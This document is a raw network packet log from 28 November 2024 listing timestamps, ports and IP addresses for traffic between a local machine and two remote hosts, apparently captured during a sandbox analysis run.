Nov 28, 2024 08:55:26.215718985 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.215795994 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.215845108 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.216624975 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.216675043 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.216914892 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.216963053 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.217705965 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.217758894 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.217904091 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.217956066 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.218619108 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.218669891 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.218683004 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.218728065 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.219450951 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.219505072 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.219592094 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.219641924 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.220359087 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.220413923 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.220496893 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.220542908 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.221318960 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.221371889 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.221513033 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.221565962 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.222352028 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.222366095 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.222404003 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.222449064 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.223207951 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.223262072 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.223330975 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.223383904 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.224112034 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.224168062 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.224190950 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.224241018 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.225085020 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.225136995 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.225227118 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.225275040 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.226001978 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.226061106 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.226113081 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.226169109 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.226946115 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.226996899 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.227072001 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.227123976 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.227910995 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.227967978 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.228029013 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.228080988 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.228873014 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.228924990 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.265073061 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.265182018 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.265260935 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.265533924 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.265593052 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.265597105 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.265640974 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.266479015 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.266535997 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.266556978 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.266608953 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.267407894 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.267462015 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.267493963 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.267544985 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.268385887 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.268440962 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.268585920 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.268631935 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.269335985 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.269392014 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.269442081 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.269520998 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.270226955 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.270282030 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.270282984 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.270335913 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.271202087 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.271258116 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.271346092 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.271404028 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.272118092 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.272173882 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.272216082 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.272283077 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.273087978 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.273135900 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.273143053 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.273188114 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.347145081 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.347203970 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.347290039 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.347328901 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.347546101 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.347590923 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.347697020 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.347740889 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.348552942 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.348602057 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.348649979 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.348716974 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.349426985 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.349483967 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.349582911 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.349630117 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.350392103 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.350435972 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.350498915 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.350548029 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.351351976 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.351404905 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.351447105 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.351521015 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.352324963 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.352380991 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.352418900 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.352466106 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.353282928 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.353332996 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.353404045 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.353451014 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.354154110 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.354202986 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.354238987 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.354278088 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.355072975 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.355178118 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.355252028 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.355288982 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.356031895 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.356089115 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.356151104 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.356199980 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.357007980 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.357060909 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.357076883 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.357120991 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.357945919 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.358006001 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.358156919 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.358206034 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.359075069 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.359112978 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.359133959 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.359159946 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.359807014 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.359889984 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.359910965 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.359957933 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.360774040 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.360825062 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.360856056 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.360977888 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.361653090 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.361735106 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.361768007 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.361865044 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.362628937 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.362680912 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.362709045 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.362756014 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.363599062 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.363611937 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.363655090 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.364509106 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.364562988 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.364759922 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.364806890 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.365495920 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.365545988 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.365581989 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.365636110 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.366377115 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.366426945 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.366430044 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.366478920 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.367290020 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.367458105 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.367496014 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.367552996 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.368232965 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.368288994 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.421647072 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.421782970 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.421838999 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.421917915 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.422039032 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.422110081 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.422193050 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.422245026 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.423043966 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.423099041 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.423114061 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.423163891 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.423960924 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.424015045 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.424170017 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.424221992 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.424876928 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.424927950 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.425110102 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.425160885 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.425870895 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.425930977 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.426081896 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.426131010 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.426781893 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.426841974 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.426873922 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.426932096 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.427684069 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.427742004 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.427793980 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.427861929 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.428699017 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.428751945 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.428791046 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.428842068 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.429634094 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.429688931 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.429774046 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.429831982 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.430742025 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.430805922 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.430835009 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.430901051 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.431533098 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.431586981 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.431668043 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.431721926 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.432451963 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.432506084 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.432574987 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.432647943 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.433388948 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.433438063 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.433516979 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.433571100 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.434372902 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.434418917 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:26.434432983 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:26.434473038 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:27.924652100 CET	49707	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:27.924684048 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:27.924748898 CET	49707	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:27.924966097 CET	49708	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:27.925002098 CET	443	49708	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:27.925040960 CET	49708	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:27.928133965 CET	49708	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:27.928155899 CET	443	49708	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:27.928400993 CET	49707	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:27.928409100 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:27.989377022 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:27.989442110 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:27.989504099 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:27.989746094 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:27.989757061 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:28.041845083 CET	49712	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:28.041873932 CET	443	49712	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:28.041929007 CET	49712	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:28.042191029 CET	49712	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:28.042207956 CET	443	49712	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.669581890 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.669919968 CET	49707	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.669929028 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.670922995 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.670943975 CET	443	49708	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.671015024 CET	49707	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.671174049 CET	49708	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.671201944 CET	443	49708	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.672291040 CET	443	49708	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.672358036 CET	49708	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.672446012 CET	49707	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.672507048 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.673005104 CET	49707	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.673011065 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.673466921 CET	49708	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.673538923 CET	443	49708	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.673588991 CET	49708	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.683659077 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.683983088 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.683999062 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.685050011 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.685122967 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.685422897 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.685477972 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.685518980 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.719332933 CET	443	49708	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.722915888 CET	49707	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.723789930 CET	49708	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.723812103 CET	443	49708	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.731328011 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.738522053 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.738543034 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.769763947 CET	49708	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.785407066 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.813092947 CET	443	49712	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.817508936 CET	49712	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.817523003 CET	443	49712	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.818625927 CET	443	49712	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.818695068 CET	49712	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.819370031 CET	49712	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.819443941 CET	443	49712	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.819597960 CET	49712	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.819606066 CET	443	49712	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:29.863503933 CET	49712	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:29.984404087 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:29.984472990 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:30.019740105 CET	49708	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.019861937 CET	443	49708	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.019937038 CET	49708	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.524681091 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.524735928 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.524765015 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.524791956 CET	49707	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.524804115 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.524843931 CET	49707	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.524852037 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.532967091 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.533032894 CET	49707	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.533041954 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.535161972 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.535219908 CET	49707	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.535525084 CET	49707	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.535533905 CET	443	49707	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.542206049 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.542253971 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.542294979 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.542309999 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.542323112 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.542356968 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.542366982 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.550581932 CET	443	49711	142.250.181.100	192.168.2.8
